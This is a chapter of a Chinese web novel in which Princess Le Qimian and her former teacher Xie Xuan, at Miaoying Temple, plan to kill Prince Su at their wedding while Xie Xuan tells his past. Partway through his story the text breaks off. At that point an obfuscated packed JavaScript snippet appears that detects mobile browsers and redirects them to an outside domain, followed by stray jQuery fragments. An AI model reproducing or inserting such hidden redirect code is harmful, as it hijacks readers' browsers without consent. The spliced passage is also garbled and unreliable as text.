乐绮眠在军营修整一夜,天不亮时,驱车前往妙应寺。
前来应门的是名士兵,乐绮眠觉得他眼熟,忽然想起,他是徐泰身边那名卫士。
“教首已在殿中等你,”卫士说,“徐经略也在。”
他对徐泰的立场直言不讳,倒叫乐绮眠有些好奇,多看了他两眼。但到观音殿的路很短,没几步,殿中人影就隐约可见。
解玄坐在上回的茶案后,身旁就是徐泰。徐泰见乐绮眠到来,起身退往殿外。乐绮眠与他擦身而过,听到他说:“徐某猜到公主是聪明人,今日见你到此,果然如此。既然来了,到殿内一坐,教首会告诉你你想知道的一切。”
他的态度堪称客气,乐绮眠道:“徐经略这般温和,倒叫人受宠若惊。是怕我嫁入魏家后,会翻旧账?”
徐泰态度转变极快,只因婚礼若如约举行,来日她就是魏家的女主人。他是解玄的属下,的确该敬她三分。
徐泰说:“公主说笑,徐某那些话,并无他意,是想让公主看清,乐家不值得倚靠。若冒犯了公主,还请公主恕罪。”
这人半字不提那日对她的诋辱,又绵里藏针,刺了她与乐家。乐绮眠笑道:“毕竟是个不守节自洁的女子,能有多少见地?仰赖经略提点,过去是我识人不明。日后若犯错误杀了人,也要你多多包涵。”
她腰间玉钩晃动,那日斩断马缰,让他几欲被惊马甩落的场景重现,她要杀的人,还能有谁?
徐泰脸上青白交加,正要回话,一直没开口的解玄忽道:“徐经略,托付给你的事,现在去办。”
他声调不徐不疾,徐泰却握紧拳,回道:“她前不久才助肃王擒获闻师偃,今日却出现在此,用心难测,教首可要当心。”
说完,不再理会乐绮眠,朝解玄一拜,掀袍离去。
解玄沏好茶,谦和道:“徐泰惯来莽撞,让公主见笑。公主先坐。”
二人仅一月未见,乐绮眠对他的观感却大有不同。不仅因为,她发觉解玄与画像中的王妃极像,也因为可能存在的血缘,让她不知该以何种态度面对解玄。
只是,那人很快打破尴尬,从案上拿起一封信:“你我师徒久别重逢,苦于外界纷扰,始终未能坐下饮一杯,聊聊旧事。今日终于得空,泽州却递来急信,寄信人特意提到公主,公主不妨看看。”
乐绮眠早就看到了那封信,听闻此言,不跟他客气,接过抽出信纸,垂眼扫过。
这是肃王府寄出的信,但不是傅厌辞所写。对方似在极度紧张的情况下落笔,字迹潦草。他指认徐泰里通匪首解玄,出卖军情,又交代了所有细节。能说出这些,必定是知情人,此人身份,昭然若揭。
“以利相交,利尽而散,闻师偃会背叛你与徐泰,不奇怪,”乐绮眠说,“肃王开了什么条件?”
傅厌辞如果想击溃解玄,信该寄往奉京,而非岑州。这封信看似写给徐泰,实则是放给解玄的鱼饵,等着他咬钩。
解玄道:“肃王待公主如何,公主最清楚。不该早就猜到,肃王意欲何为?”
乐绮眠心中浮现某个猜测,又觉不可思议,但没待理出头绪,身前落下一道影子,是解玄从案后站起,走到了身后。
“肃王要我与公主退亲,否则便将日月教教首尚存于世的消息广而告之,”解玄微笑着说,“公主以为,我该如何做?”
傅厌辞疯了。
比起他已经得知魏安澜的真身,强逼解玄退亲的举动,更令乐绮眠诧异。她以为让她退婚只是说说而已,毕竟她再三提过,她需要魏家让她在朝中有一席之地。
不必怀疑,他在报复乐绮眠丢下他来见解玄的举动。
“这是他给你的信,”乐绮眠决定隔岸观火,“怎么做,决定权在你。”
解玄道:“公主答应杀肃王一事,可还作数?”
乐绮眠说:“天下没有白得的好处,你何日受降,我何日兑现。”
解玄道:“那么在你我大婚当日,杀了他,如何?”
他话音极缓和,不带半点怒意,好似谈的不是婚约,而是随意某件事。乐绮眠以为自己听错,转身面向他:“大婚当日?”
解玄说:“无论婚期定在何日,于我而言,都是此生最值得庆贺的一日。那么将这份喜悦提前,何乐而不为?”
距暮春还有数日,两人不在奉京,也无人主持婚仪。乐绮眠没料到这层变数,眉梢轻挑,心脏重重一跳:“你要让肃王,来参加婚礼?”
解玄笑道:“公主不愿?”
傅厌辞不将婚礼搅个天翻地覆就算不错,指望他乖乖就擒,那是天方夜谭。依乐绮眠看,疯的不止傅厌辞,解玄也在做白日梦。
乐绮眠说:“你能将他请来,那是你的本事。你想如何杀他,就凭我一人?”
她的茶从热到冷,始终没动。解玄轻而缓道:“婚礼开始前,我会在门前接见肃王,公主只消待在钟楼,在我将他带至殿前时,射杀肃王。事成,婚礼照旧,即便一击不成,我已派徐泰在南下要道设伏,妙应寺外,也布有暗哨。”
观音殿前有钟鼓二楼,是殿内人的视野死角。乐绮眠能做到千军之中直取敌将眉心,只要她想,这点距离对她不算什么。
乐绮眠抬了下巴,懒散道:“我若失手,你待在他身旁,御卫第一个杀你,徐泰也无力回天。”
解玄笑说:“但还有公主在,不是吗?”
乐绮眠乌黑的眼珠瞧着他,忽而也笑:“原来婚礼是幌子,你要的只有肃王的命。你怕当年给他打下罪印,他伺机报复?那你该担心的不是肃王,是同样被你关押、折磨七日的另一人。”
昔年,在泽州听说傅厌辞被关押于赦罪堂的旧闻,如今得知禅师就是解玄,她陡然想起,她被困在观音殿的时日,也恰好七日。
他的身份其实早有端倪,因为她曾觉得,与傅厌辞同样中毒太过巧合,其实不是巧合,而是他将驯服傅厌辞的手段,也对她用了一遍。
解玄狭长的柳叶眼依旧温柔,却淡然道:“但我教会公主如何杀人,让你不会沦为弱者。有的痛苦,即便不由我来施加,你也会在旁人那里领教。”
随着玉覆面的褪下,他不再掩饰温润外表下的冷酷,这才是真正的解玄,那个为向鬼鹫复仇,蛰伏十年之人。
乐绮眠漫不经心偏过头,似是想笑,却自嘲着垂下眼:“我有时想,我若不是这个公主,是否在你攻打奉京时,便已成为你剑下亡魂。我的确要多谢你,帮过我这条烂命。”
她很少有消沉之时,只有面对解玄,她阴郁的一面才显露无疑。
解玄望着她,默然无言,忽然搭住她的肩,让她能将脸靠在他的肩头。
“我被逐出日月教,又回到李家,却被赶出海琅王府时,也曾失去生念,”解玄说,“但伤过我的人死了,只有我活到现在,这就是我们诞生的意义。”
佛殿古旧,青灯如同当年。乐绮眠垂落的眼掩饰住了所有情绪,好似她是个耐心不过的倾听者。
“你见过那副画卷,那名鬼鹫女子叫暮晦。她将我带回王城,所有人都以为,我是她与老海琅王的儿子,一个黑眼睛的异种。她想过杀死我,也试过挖出我的眼睛,是教首,将我带入经堂,给了我读书识字的机会,教我如何做一个鬼鹫人,教我如何杀人。”
烛火幽微,勾勒出解玄削薄的下颌,他讲着往事,神思没有任何留恋。
“那时,我相信,他就是前来挽救我的人。直到我试着逃离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974974|167077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暮晦那日,她告诉我,他是下令将我从王府带走之人,一直知道,我是王妃之子。教导我,不过为将海琅王的儿子变成彻头彻尾的鬼鹫人,在来日战场上,弑杀他的生父,报昔日之仇。”
原来解玄被带到王城后,是老教首将他引上了教徒之路。
乐绮眠说不清心中是何种念头,想起他对乐承邺百般厌憎,原来事出有因。可乐承邺以一死赎清罪孽,老教首其人,未必有他豁达。
果然,解玄说:“随后,教首得知此事,我不出意外被逐出鬼鹫。我来到海琅王府,见到了它的主人,可那人说府中从未有过鬼鹫女子,王妃也不愿见我。众人将我认作疯子,赶出了王府。”
那也许是解玄少年时最灰暗的一日,说到这里,他眸光淡去两分,带着一点遗憾,笑了笑:“幸而,我遇到了江家兄妹。”
乐绮眠道:“他们救了你?”
解玄垂目遥思:“我流落到应州一座古寺,江家乐善好施,助佛寺广开法会,你母亲与我因谈禅相识,将家中经卷倾囊相赠。我没有因鬼鹫人与海琅王府的苛待而痛不欲生,可她与明光将军褒奖我明心见性,有大作为时,我心如刀绞。
“也是那刻起,我知道自己不该继续蹉跎。我带着经卷返回鬼鹫,为成为日月教教使,什么都能做。也是天时相助,鬼鹫因累受苍人盘剥,教众日渐激进,我抓住这场东风,驱逐那些真正为鬼鹫深谋远虑之人,后来的事,公主也都知晓。”
乐绮眠颔首:“你说的人,是迦楼罗与肃王?”
解玄没有遮掩,直言不讳:“迦楼罗认识暮晦,知道我心不在鬼鹫。我被推为教首时,她在经会上质疑我血统不正,我自毁双目,以示忠心。提前安排的医官将我救下,我只受了轻伤。自此,再无人怀疑我有二心,迦楼罗与肃王,也无力对抗这股浪潮。”
傅厌辞被教众排挤,其实不单因为血统。
乐绮眠恍然,藏起眼中情绪,平静道:“你恨肃王,只因迦楼罗阻挠你成为教首?”
解玄淡淡一笑,摇头:“肃王是聪明人,鬼鹫与天狩帝同样有负于他,为何不选强势的一方?公主会为死人争抢,他未必会。放任他壮大,击败傅昭,来日他对梁人的威胁,只多不少。”
这点乐绮眠无法否认,这也是为何,她始终不给傅厌辞任何承诺。承诺即枷锁,她不想被过于沉重的东西困住,这样事情变坏前,她还有抽身的机会。
“肃王死后,泽州重归闻家,天狩帝不得安宁,才无暇进攻大梁,”解玄眼帘低垂,回答她最初的问题,“这个答案,公主可满意?”
两人距离拉近,乐绮眠没有躲避。那双乌黑的眼与她对视,某个片刻,竟生出她被耐心对待的错觉。
乐绮眠道:“我会在钟楼助师父脱困,但肃王死后,请师父将他的尸身给我。”
她肩头的手紧了,解玄笑着问:“为何?”
乐绮眠偏开眼神,垂视腕间红莲,惋惜地说:“我杀他,不代表恨他。他是唯一看到过我伤口的人,给他留下坟冢,也算相识一场。”
解玄还在笑,可目光中的柔情淡去:“嗯......他是唯一看到你的人。尸身无用,公主随意便好。”
二人再无话,乐绮眠看向殿内。刚被带进妙应寺时,她被关在殿后小屋,上回没细看附近,她正想走一圈,解玄的声音忽从身后传来。
“公主或许不信,但魏安澜死后,是我求来的婚约,与杀肃王,与旁人,都无关。为这一日,我等待多时,皇室婚礼该有的,公主一样也不会少。”
乐绮眠回头,露出讶然神色。解玄站在寥落的烛光里,丰姿玉立,微微笑着。
“婚礼过后,你我不称师徒、叔侄,重头来过,可好?”